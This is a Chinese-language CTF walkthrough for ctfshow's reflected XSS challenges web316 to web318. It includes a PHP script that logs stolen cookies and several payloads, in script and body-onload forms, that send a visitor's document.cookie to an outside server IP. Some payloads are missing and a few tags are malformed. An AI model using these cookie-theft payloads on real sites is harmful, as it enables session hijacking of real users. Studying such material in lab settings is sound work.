• Ctfshow web入门 XSS篇 web316-web333 详细题解 全

    CTFshow XSS web316

    是反射型 XSS

    image-20230926195248086

    法一：

    利用现成平台

    image-20230926195306022

    image-20230926195314518

    法二：

    自己搭服务器

    先在服务器上面放一个接受Cookie的文件。

    image-20230926195330259

    文件内容：

    
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    payload：

    <script>location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookiescript>

    • 1

    image-20230926195430781

    已经获取到Cookie了

    image-20230926195436757

    image-20230926195448397

    之后的题都用服务器不用XSS平台了。

    管理服务器我用的是xshell和xftp。

    CTFshow XSS web317

    和上一题一样的情景。

    image-20230926195536601

    测试一下过滤了script了。

    image-20230926195612550

    标签可以用 img

    Payload：

    

    • 1

    image-20230926195636359

    CTFshow XSS web318

    先进行一下测试，看看过滤了什么。

    无回显

    image-20230926195932808

    无回显

    image-20230926195938486

    alert(1)有回显，可以用头

    image-20230926200108201

    payload:

    

    • 1

    image-20230926200117156

    这些payload也行：

    <body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">body>

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">